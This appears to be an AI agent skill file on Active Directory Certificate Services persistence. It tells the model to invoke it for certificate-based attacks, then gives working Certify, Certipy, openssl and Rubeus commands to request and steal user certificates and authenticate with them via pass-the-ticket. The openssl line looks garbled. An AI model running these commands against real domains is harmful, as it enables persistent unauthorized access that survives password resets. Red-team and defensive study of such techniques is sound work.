ad-cs-persistence

name

ad-cs-persistence

description

Active Directory Certificate Services (AD CS) persistence techniques for security assessments. Use this skill whenever analyzing AD CS configurations, planning certificate-based persistence, understanding PKINIT attacks, working with certificate templates in Active Directory, or investigating altSecurityIdentities abuse. Covers user/machine certificate persistence, certificate renewal, explicit mapping attacks, enrollment agent abuse, and 2025 strong mapping enforcement implications. Make sure to use this skill for any AD CS enumeration, certificate template analysis, or certificate-based authentication attacks in Windows domain environments.

AD CS Account Persistence

This skill covers certificate-based persistence techniques in Active Directory environments, based on research from SpecterOps' "Certified Pre-Owned" methodology.

PERSIST1: User Certificate Persistence

When a certificate template allows client authentication, request and steal the certificate to maintain persistence independent of password changes. The default User template often permits this.

Enumerate and Request

# Find templates supporting client authentication
Certify.exe find /clientauth

# Request a user certificate from an Enterprise CA
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User

# Using Certipy (supports RPC/DCOM/WebEnrollment)
certipy req -u '[e-mail]' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx

Authenticate with Certificate

# Convert PEM to PFX (if using Certify output)
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" - -out cert.pfx


Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! /ptt


certipy auth -pfx user.pfx -dc-ip 10.0.0.10